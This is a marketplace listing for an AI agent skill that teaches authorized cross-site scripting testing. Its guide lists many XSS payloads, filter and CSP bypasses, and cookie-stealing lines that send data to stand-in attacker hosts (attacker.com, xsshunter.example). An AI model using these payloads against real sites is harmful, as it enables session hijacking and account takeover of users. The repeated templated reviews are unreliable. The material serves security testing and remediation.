testing-for-xss-vulnerabilities▌
mukul975/Anthropic-Cybersecurity-Skills · updated May 25, 2026
MDX-style export adds YAML metadata + attribution linking explainx.ai and this canonical listing URL.
Tests web applications for Cross-Site Scripting (XSS) vulnerabilities by injecting JavaScript payloads into reflected, stored, and DOM-based contexts to demonstrate client-side code execution, session hijacking, and user impersonation. The tester identifies all injection points and output contexts, crafts context-appropriate payloads, and bypasses sanitization and CSP protections. Activates for requests involving XSS testing, cross-site scripting assessment, client-side injection testing, or JavaScript injection vulnerability testing.
| name | testing-for-xss-vulnerabilities |
| description | 'Tests web applications for Cross-Site Scripting (XSS) vulnerabilities by injecting JavaScript payloads into reflected, stored, and DOM-based contexts to demonstrate client-side code execution, session hijacking, and user impersonation. The tester identifies all injection points and output contexts, crafts context-appropriate payloads, and bypasses sanitization and CSP protections. Activates for requests involving XSS testing, cross-site scripting assessment, client-side injection testing, or JavaScript injection vulnerability testing. ' |
| domain | cybersecurity |
| subdomain | penetration-testing |
| tags | - XSS - cross-site-scripting - client-side-security - OWASP-A03 - JavaScript-injection |
| version | 1.0.0 |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - ID.RA-01 - ID.RA-06 - GV.OV-02 - DE.AE-07 |
Testing for XSS Vulnerabilities
When to Use
- Testing web applications for client-side injection vulnerabilities as part of OWASP WSTG testing
- Evaluating the effectiveness of input sanitization and output encoding across all application features
- Assessing the protection provided by Content Security Policy (CSP) headers against XSS exploitation
- Demonstrating the impact of XSS through session hijacking, credential theft, or phishing overlay to stakeholders
- Testing single-page applications (React, Angular, Vue) for DOM-based XSS in client-side routing and rendering
Do not use against applications without written authorization, for deploying persistent XSS payloads that affect real users, or for exfiltrating actual user session tokens from production environments.
Prerequisites
- Authorized scope defining the target web application and acceptable testing activities
- Burp Suite Professional with XSS-focused extensions (XSS Validator, Reflector, Active Scan++)
- Browser with developer tools and XSS testing extensions (HackBar, XSS Hunter)
- XSS Hunter or Burp Collaborator for out-of-band payload verification
- SecLists XSS payload lists and custom payloads for WAF bypass scenarios
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1: Input and Output Mapping
Map every location where user input enters and is rendered by the application:
- Reflected inputs: Test every URL parameter, search field, error message, and HTTP header value that is reflected in the response
- Stored inputs: Identify features where input is saved and displayed later: user profiles, comments, forum posts, file names, support tickets, and chat messages
- DOM inputs: Identify client-side JavaScript that reads from
location.hash,location.search,document.referrer,window.name,postMessage, orlocalStorageand writes to the DOM - Output context identification: For each reflected input, determine the rendering context:
- HTML body:
<div>USER_INPUT</div> - HTML attribute:
<input value="USER_INPUT"> - JavaScript string:
var x = 'USER_INPUT'; - URL context:
<a href="USER_INPUT"> - CSS context:
<div style="color: USER_INPUT">
- HTML body:
Step 2: Reflected XSS Testing
Test reflected injection points with context-appropriate payloads:
- HTML body context:
<script>alert(document.domain)</script>,<img src=x onerror=alert(1)>,<svg onload=alert(1)> - HTML attribute context:
" onfocus=alert(1) autofocus="," onmouseover=alert(1) ","><script>alert(1)</script> - JavaScript string context:
';alert(1)//,\';alert(1)//,</script><script>alert(1)</script> - URL/href context:
javascript:alert(1),data:text/html,<script>alert(1)</script> - Inside HTML comments:
--><script>alert(1)</script><!-- - Filter bypass payloads (when basic payloads are blocked):
- Case variation:
<ScRiPt>alert(1)</sCrIpT> - Event handlers:
<details open ontoggle=alert(1)> - SVG:
<svg><animate onbegin=alert(1) attributeName=x> - Encoding:
<img src=x onerror=alert(1)>
- Case variation:
Step 3: Stored XSS Testing
Test persistent storage points that render input to other users:
- Submit XSS payloads to every stored input field identified in Step 1
- Use a unique identifier in each payload to track which inputs trigger:
<script>alert('XSS-PROFILE-001')</script> - Check all locations where the stored input is rendered (the same input may appear on multiple pages)
- Test file upload features with HTML files containing JavaScript, SVG files with embedded scripts, and filenames containing XSS payloads
- Test rich text editors by injecting payloads through the raw HTML mode or by manipulating the POST data after the client-side editor sanitizes
- Use XSS Hunter payloads (
"><script src=https://yourxsshunter.xss.ht></script>) for blind stored XSS where the payload fires in an admin panel or internal tool you cannot directly access
Step 4: DOM-Based XSS Testing
Analyze client-side JavaScript for unsafe DOM manipulation:
- Source identification: Search JavaScript for dangerous sources that read attacker-controlled input:
document.location,document.URL,document.referrerlocation.hash,location.search,location.hrefwindow.name,postMessageevent data
- Sink identification: Search for dangerous sinks that write to the DOM:
innerHTML,outerHTML,document.write(),document.writeln()eval(),setTimeout(),setInterval(),Function()element.setAttribute()with event handlers,jQuery.html(),.append(),v-html(Vue),dangerouslySetInnerHTML(React)
- Trace data flow: Follow the path from source to sink. If user-controlled input reaches a dangerous sink without proper sanitization, DOM XSS exists.
- Framework-specific testing: Test React
dangerouslySetInnerHTML, Angular template injection ({{constructor.constructor('alert(1)')()}}), Vuev-htmldirective
Step 5: CSP Bypass and Advanced Exploitation
Test Content Security Policy effectiveness and demonstrate real-world impact:
- CSP analysis: Review the CSP header for weaknesses:
unsafe-inlinein script-src allows inline scriptsunsafe-evalallows eval() and similar functions- Wildcard domains (
*.googleapis.com) may host JSONP endpoints usable for CSP bypass base-urinot set allows<base>tag injection to redirect relative script loads
- JSONP bypass: If CSP allows a domain with JSONP endpoints, use
<script src="https://allowed-domain.com/jsonp?callback=alert(1)"></script> - Impact demonstration:
- Session hijacking:
<script>new Image().src="https://attacker.com/steal?c="+document.cookie</script> - Credential phishing: Inject a fake login form overlay that submits to the attacker's server
- Keylogging: Inject JavaScript that captures keystrokes on the page
- Account takeover: Use XSS to change the victim's email address and trigger a password reset
- Session hijacking:
Key Concepts
| Term | Definition |
|---|---|
| Reflected XSS | Non-persistent XSS where the injected payload is included in the server's response to the same request, requiring the victim to click a crafted URL |
| Stored XSS | Persistent XSS where the payload is saved on the server and served to other users who view the affected page |
| DOM-Based XSS | XSS that occurs entirely in the browser when client-side JavaScript reads attacker-controlled data and writes it to a dangerous DOM sink |
| Content Security Policy | HTTP response header that restricts which sources the browser can load scripts, styles, and other resources from, providing defense-in-depth against XSS |
| Output Encoding | Converting special characters to their HTML entity equivalents (e.g., < to <) to prevent the browser from interpreting user input as code |
| Sink | A JavaScript function or DOM property that can cause code execution or HTML rendering if attacker-controlled data reaches it unsanitized |
Tools & Systems
- Burp Suite Professional: HTTP proxy with active scanning for reflected and stored XSS, plus Repeater and Intruder for manual payload testing
- XSS Hunter: Hosted service that generates payloads which phone home with screenshots, cookies, and DOM content when triggered, essential for blind stored XSS
- DOMPurify: Client-side sanitization library used by developers to prevent XSS; testers should test for bypass techniques against the deployed version
- Browser Developer Tools: Console, Network, and Elements tabs for tracing DOM-based XSS data flows and testing payloads in real-time
Common Scenarios
Scenario: Stored XSS in Customer Support Ticket System
Context: An e-commerce platform has a customer support system where customers submit tickets that are viewed by support agents in an internal admin panel. The ticket submission form accepts HTML formatting.
Approach:
- Submit a support ticket with a unique XSS Hunter payload in the ticket description
- The payload fires when a support agent views the ticket in the admin panel, sending a callback with the agent's session cookie, page DOM, and screenshot
- Use the captured admin session cookie to access the admin panel as the support agent
- From the admin panel, access customer records, order data, and refund functionality
- Document the attack chain: customer submits ticket -> agent views ticket -> XSS fires -> session stolen -> admin panel compromised
- Test if CSP would have prevented the attack (in this case, no CSP header was present)
Pitfalls:
- Only testing for
<script>alert(1)</script>and missing XSS that fires through event handlers or in non-HTML contexts - Not testing stored XSS in features that render to administrative users (support tickets, user profiles viewed by admins)
- Ignoring DOM-based XSS in single-page applications where the server-side code is secure but client-side rendering is vulnerable
- Not checking for XSS in HTTP headers (Referer, User-Agent) that may be logged and rendered in admin dashboards
Output Format
## Finding: Stored XSS in Support Ticket Description
**ID**: XSS-002
**Severity**: High (CVSS 8.1)
**Affected URL**: POST /api/tickets (submission), GET /admin/tickets/8847 (trigger)
**Parameter**: description (POST body)
**XSS Type**: Stored (persistent)
**Description**:
The support ticket description field does not sanitize HTML input before storing
it in the database. When a support agent views the ticket in the admin panel, the
unsanitized HTML is rendered in the agent's browser, allowing arbitrary JavaScript
execution in the context of the admin application.
**Proof of Concept**:
Submitted ticket with payload:
<img src=x onerror="fetch('https://xsshunter.example/callback?c='+document.cookie)">
The payload fired when the agent viewed the ticket, exfiltrating the admin session
cookie to the XSS Hunter server.
**Impact**:
An attacker can steal the session tokens of support agents and administrators,
gaining access to the admin panel with privileges to view customer PII, process
refunds, and modify orders. Affects all 23 support agents who view customer tickets.
**Remediation**:
1. Implement output encoding using a context-aware library (OWASP Java Encoder,
DOMPurify for client-side rendering)
2. Deploy Content Security Policy header:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
3. Set HttpOnly flag on session cookies to prevent JavaScript access
4. Sanitize HTML input server-side using a whitelist approach (allow only safe tags)
How to use testing-for-xss-vulnerabilities on Cursor
AI-first code editor with Composer
Prerequisites
Before installing skills in Cursor, ensure your development environment meets these requirements:
- ›Cursor installed and configured on your development machine
- ›Node.js version 16.0+ with npm package manager (verify with
node --version) - ›Active project directory or workspace where you want to add testing-for-xss-vulnerabilities
Execute installation command
Execute the skills CLI command in your project's root directory to begin installation:
The skills CLI fetches testing-for-xss-vulnerabilities from GitHub repository mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
Select Cursor when prompted
The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:
Verify installation
Confirm successful installation by checking the skill directory location:
Reload or restart Cursor to activate testing-for-xss-vulnerabilities. Access the skill through slash commands (e.g., /testing-for-xss-vulnerabilities) or your agent's skill management interface.
Security & Verification Notice
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.
List & Monetize Your Skill
Submit your Claude Code skill and start earning
Use Cases▌
Task Automation & Efficiency
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Knowledge Enhancement
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Quality Improvement
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Implementation Guide▌
Prerequisites
- ›Claude Desktop or compatible AI client with skill support
- ›Clear understanding of task or problem to solve
- ›Willingness to iterate and refine outputs
Time Estimate
15-45 minutes depending on use case complexity
Installation Steps
- 1.Install skill using provided installation command
- 2.Test with simple use case relevant to your work
- 3.Evaluate output quality and relevance
- 4.Iterate on prompts to improve results
- 5.Integrate into regular workflow if valuable
Common Pitfalls
- ⚠Expecting perfect results without iteration
- ⚠Not providing enough context in prompts
- ⚠Using skill for tasks outside its intended scope
- ⚠Accepting outputs without review and validation
Best Practices▌
✓ Do
- +Start with clear, specific prompts
- +Provide relevant context and constraints
- +Review and refine all outputs before using
- +Iterate to improve output quality
- +Document successful prompt patterns
✗ Don't
- −Don't use without understanding skill limitations
- −Don't skip validation of outputs
- −Don't share sensitive information in prompts
- −Don't expect skill to replace human judgment
💡 Pro Tips
- ★Be specific about desired format and style
- ★Ask for multiple options to choose from
- ★Request explanations to understand reasoning
- ★Combine AI efficiency with human expertise
When to Use This▌
✓ Use When
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid When
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
Learning Path▌
- 1Familiarize yourself with skill capabilities and limitations
- 2Start with low-risk, non-critical tasks
- 3Progress to more complex and valuable use cases
- 4Build expertise through regular use and experimentation
Discussion
Product Hunt–style comments (not star reviews)- No comments yet — start the thread.
Ratings
4.6★★★★★31 reviews- ★★★★★Emma Sharma· Dec 12, 2024
testing-for-xss-vulnerabilities is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
- ★★★★★Soo Srinivasan· Nov 7, 2024
testing-for-xss-vulnerabilities has been reliable in day-to-day use. Documentation quality is above average for community skills.
- ★★★★★Omar Thomas· Nov 3, 2024
testing-for-xss-vulnerabilities reduced setup friction for our internal harness; good balance of opinion and flexibility.
- ★★★★★Kaira Diallo· Oct 26, 2024
Keeps context tight: testing-for-xss-vulnerabilities is the kind of skill you can hand to a new teammate without a long onboarding doc.
- ★★★★★Omar Li· Oct 22, 2024
I recommend testing-for-xss-vulnerabilities for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
- ★★★★★Sakshi Patil· Sep 25, 2024
testing-for-xss-vulnerabilities reduced setup friction for our internal harness; good balance of opinion and flexibility.
- ★★★★★Rahul Santra· Sep 21, 2024
Keeps context tight: testing-for-xss-vulnerabilities is the kind of skill you can hand to a new teammate without a long onboarding doc.
- ★★★★★Nia Lopez· Sep 1, 2024
testing-for-xss-vulnerabilities is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
- ★★★★★Nia Haddad· Aug 20, 2024
Useful defaults in testing-for-xss-vulnerabilities — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
- ★★★★★Chaitanya Patil· Aug 16, 2024
I recommend testing-for-xss-vulnerabilities for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
showing 1-10 of 31